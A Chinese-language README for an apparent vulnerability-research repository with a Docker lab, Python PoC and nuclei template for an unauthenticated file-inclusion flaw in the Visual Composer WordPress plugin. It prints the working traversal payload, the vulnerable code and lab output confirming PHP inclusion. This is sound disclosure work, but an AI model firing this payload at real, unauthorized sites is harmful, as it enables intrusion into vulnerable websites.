针对 CVE-2026-12227 的 Docker 验证实验环境与 safe-oracle PoC,该漏洞是 Visual Composer 中通过 vcv-template 实现的未认证 LFI,并附带一个 nuclei 检测模板。
用于复现和验证 CVE-2026-12227 的安全研究材料: Visual Composer Website Builder 页面模板解析中的未认证本地文件包含(CVSS 3.1 9.8),以及一个经证实的厂商修复差异(见下文)。
locate_template() 内部的核心遏制门,来自 CVE-2026-87902 修复)——截至 45.16.3,插件代码本身从未被修补AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)—— CWE-98仅在您拥有或明确授权测试的系统上使用。 PoC 触发无害的 oracle 包含(原版
wp-links-opml.php/xmlrpc.php输出)。无文件放置、无写入、无 RCE 载荷。
状态:在提供的实验室中已证实。
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
标记级证明(在 uploads/ 中植入的 PHP 文件被包含并执行,未认证 GET)是实验室证据的一部分,并在易受攻击变体上由 ./lab verify 复现。
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
以优先级 11 挂接 template_include,且无认证检查:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() 拒绝字面量 ..。但该值仅在检查之后才被融合,因此将每次遍历拆分到 theme: 边界即可通过:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input()(Helpers/Request.php:76)返回原始
$_POST/$_GET/$_REQUEST,因此上游也没有任何清理。
locate_template() 使用 file_exists() 解析候选路径,而 file_exists() 会遵循 .. 段。
WordPress 7.1.2(CVE-2026-87902 修复)在 locate_template()
(wp-includes/template.php)内部添加了 _wp_is_template_path_allowed()。该核心门会拒绝融合后的遍历候选路径,因此在 WP 7.1.2+ 上,此插件链被核心屏蔽——插件从未被修补。归因已在实验室验证:在 7.1.2 上,sink 仍会运行但被限制在主题目录内;在 7.1.1 上则会逃逸。
实际后果: 在 WordPress <= 7.1.1 上运行 Visual Composer 45.16.3(当前版本,宣称已修复)的站点,如今仍然存在未认证 LFI 漏洞。只有 WordPress 核心更新才能中和它。
要求:Docker 与 Compose v2,主机上安装 Python 3.10+。
./lab verify
运行三个对照:易受攻击(WP 7.1.1 + VC 45.16.1,oracle 必须触发)、已修补(WP 7.1.2 + VC 45.16.1,oracle 必须保持静默)、最新(WP 7.1.1 + VC 45.16.3,oracle 必须触发——修复差异演示)。
易受攻击对照:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
已修补对照:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
手动运行 PoC(默认回环;授权的对外目标需要显式覆盖):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
nuclei 模板(nuclei/cve-2026-12227.yaml)在首页 + page_id 锚点上以深度 3-6 触发相同的 oracle 载荷,并在首次匹配时停止。
| 组合 | 结果 |
|---|---|
| WP 7.1.1 + VC 45.16.1(= 45.16.0 代码) | LFI 已复现(oracle + 植入标记执行) |
| WP 7.1.1 + VC 45.16.3(当前版本) | LFI 仍会触发 |
| WP 7.1.2 + VC 45.16.1 | 静默(被核心门屏蔽) |
| VC 45.16.2 | 已审查修复差异;漏洞路径未变(未单独运行) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
未提交:assets/(插件 zip)、.lab-state、__pycache__/。
| 声明 | 状态 |
|---|---|
| 未认证 LFI 到主题目录外的 PHP 执行 | 已证实(oracle + 植入标记) |
| 厂商修复在 45.16.3 之前缺失 | 已证实(代码差异 + 在 45.16.3 上实时触发) |
| WP 7.1.2 核心屏蔽 | 已证实(相同请求在 7.1.2 上静默,在 7.1.1 上触发) |
| 深度语义 | 从 themes// 向上 3 层到 docroot;扫描覆盖 3-6 |
| 通过 pearcmd/write 链在真实目标上实现 RCE | 未执行(仅安全 oracle 的 PoC) |
| 45.16.0(原始受影响版本) | 代码与 45.16.1 相同;其 wp.org zip 缺少 vendor/ 且无法安装 |
公告将修复列为在 45.16.1 中落地,但漏洞代码路径在 45.16.3 之前的每个版本中都未改变(通过树差异和实时触发验证)。如果您维护 Visual Composer:viewPageTemplate() 需要在 theme: 剥离之后重新验证(或拒绝)该值,而不是之前。站点不应依赖插件更新来解决此问题——真正关闭它的是 WordPress 7.1.2 核心更新。
仅在您拥有或明确授权测试的系统上运行此仓库。实验室驱动程序拒绝未知变体,PoC 拒绝非回环目标,除非提供 --allow-authorized-non-loopback,且 Compose 端口绑定到 127.0.0.1。
披露处理请参见 SECURITY.md。此仓库不包含生产目标、客户数据、访问令牌或来自真实系统的证据。
MIT - 参见 LICENSE。